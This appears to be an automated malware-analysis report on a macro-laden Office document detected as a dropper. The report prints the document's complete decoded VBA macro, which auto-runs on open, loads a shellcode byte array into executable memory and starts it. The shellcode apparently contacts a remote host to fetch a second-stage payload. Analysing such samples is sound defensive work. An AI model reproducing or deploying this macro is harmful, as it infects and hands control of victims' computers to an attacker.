MALICIOUS
166
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is identified as malicious by ClamAV with the signature Doc.Dropper.Valyria-6680543-0. It contains VBA macros, including an Auto_Open subroutine, which are designed to execute automatically when the document is opened. These macros utilize Windows API functions like CreateThread and VirtualAlloc, strongly suggesting they are intended to download and execute a second-stage payload.
Heuristics 6
-
ClamAV: Doc.Dropper.Valyria-6680543-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Valyria-6680543-0
-
VBA project inside OOXML medium 3 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() -
Workbook_Open macro low OLE_VBA_WBOPENWorkbook_Open macroMatched line in script
Sub Workbook_Open() -
Auto_Open macro low OLE_VBA_AUTOAuto_Open macroMatched line in script
Sub Auto_Open() -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 3561 bytes |
SHA-256: b39ff0368dbf8d1ceae5c5834ac963b9e03d882170127e4de7bb5ceec9fb0265 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
#If VBA7 Then
Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Wathfnzzw As Long, ByVal Xxw As Long, ByVal Hpxmou As LongPtr, Nxwlsq As Long, ByVal Hqojdhlah As Long, Vxcf As Long) As LongPtr
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Pbjdhut As Long, ByVal Pypdbwrrg As Long, ByVal Ukk As Long, ByVal Cupkifxq As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Blg As LongPtr, ByRef Sumfgzmt As Any, ByVal Kik As Long) As LongPtr
#Else
Private Declare Function CreateThread Lib "kernel32" (ByVal Wathfnzzw As Long, ByVal Xxw As Long, ByVal Hpxmou As Long, Nxwlsq As Long, ByVal Hqojdhlah As Long, Vxcf As Long) As Long
Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Pbjdhut As Long, ByVal Pypdbwrrg As Long, ByVal Ukk As Long, ByVal Cupkifxq As Long) As Long
Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Blg As Long, ByRef Sumfgzmt As Any, ByVal Kik As Long) As Long
#End If
Sub Auto_Open()
Dim Wekiyl As Long, Svdyoayg As Variant, Mqqw As Long
#If VBA7 Then
Dim Iietzxd As LongPtr, Dgss As LongPtr
#Else
Dim Iietzxd As Long, Dgss As Long
#End If
Svdyoayg = Array(232, 137, 0, 0, 0, 96, 137, 229, 49, 210, 100, 139, 82, 48, 139, 82, 12, 139, 82, 20, _
139, 114, 40, 15, 183, 74, 38, 49, 255, 49, 192, 172, 60, 97, 124, 2, 44, 32, 193, 207, _
13, 1, 199, 226, 240, 82, 87, 139, 82, 16, 139, 66, 60, 1, 208, 139, 64, 120, 133, 192, _
116, 74, 1, 208, 80, 139, 72, 24, 139, 88, 32, 1, 211, 227, 60, 73, 139, 52, 139, 1, _
214, 49, 255, 49, 192, 172, 193, 207, 13, 1, 199, 56, 224, 117, 244, 3, 125, 248, 59, 125, _
36, 117, 226, 88, 139, 88, 36, 1, 211, 102, 139, 12, 75, 139, 88, 28, 1, 211, 139, 4, _
139, 1, 208, 137, 68, 36, 36, 91, 91, 97, 89, 90, 81, 255, 224, 88, 95, 90, 139, 18, _
235, 134, 93, 104, 110, 101, 116, 0, 104, 119, 105, 110, 105, 84, 104, 76, 119, 38, 7, 255, _
213, 49, 255, 87, 87, 87, 87, 106, 0, 84, 104, 58, 86, 121, 167, 255, 213, 235, 95, 91, _
49, 201, 81, 81, 106, 3, 81, 81, 104, 187, 1, 0, 0, 83, 80, 104, 87, 137, 159, 198, _
255, 213, 235, 72, 89, 49, 210, 82, 104, 0, 50, 160, 132, 82, 82, 82, 81, 82, 80, 104, _
235, 85, 46, 59, 255, 213, 137, 198, 106, 16, 91, 104, 128, 51, 0, 0, 137, 224, 106, 4, _
80, 106, 31, 86, 104, 117, 70, 158, 134, 255, 213, 49, 255, 87, 87, 87, 87, 86, 104, 45, _
6, 24, 123, 255, 213, 133, 192, 117, 26, 75, 116, 16, 235, 213, 235, 73, 232, 179, 255, 255, _
255, 47, 109, 70, 68, 101, 0, 0, 104, 240, 181, 162, 86, 255, 213, 106, 64, 104, 0, 16, _
0, 0, 104, 0, 0, 64, 0, 87, 104, 88, 164, 83, 229, 255, 213, 147, 83, 83, 137, 231, _
87, 104, 0, 32, 0, 0, 83, 86, 104, 18, 150, 137, 226, 255, 213, 133, 192, 116, 205, 139, _
7, 1, 195, 133, 192, 117, 229, 88, 195, 232, 81, 255, 255, 255, 49, 57, 50, 46, 49, 54, _
56, 46, 50, 51, 51, 46, 49, 50, 55, 0)
Iietzxd = VirtualAlloc(0, UBound(Svdyoayg), &H1000, &H40)
For Mqqw = LBound(Svdyoayg) To UBound(Svdyoayg)
Wekiyl = Svdyoayg(Mqqw)
Dgss = RtlMoveMemory(Iietzxd + Mqqw, Wekiyl, 1)
Next Mqqw
Dgss = CreateThread(0, 0, Iietzxd, 0, 0, 0)
End Sub
Sub AutoOpen()
Auto_Open
End Sub
Sub Workbook_Open()
Auto_Open
End Sub
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 13824 bytes |
SHA-256: 832d06465cb239168e8c8dcd046b5f1f6d712c275544420a5e73bfa2388b3d05 |
|||
|
Detection
ClamAV:
Doc.Dropper.Valyria-6680543-0
Obfuscation or payload:
unlikely
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.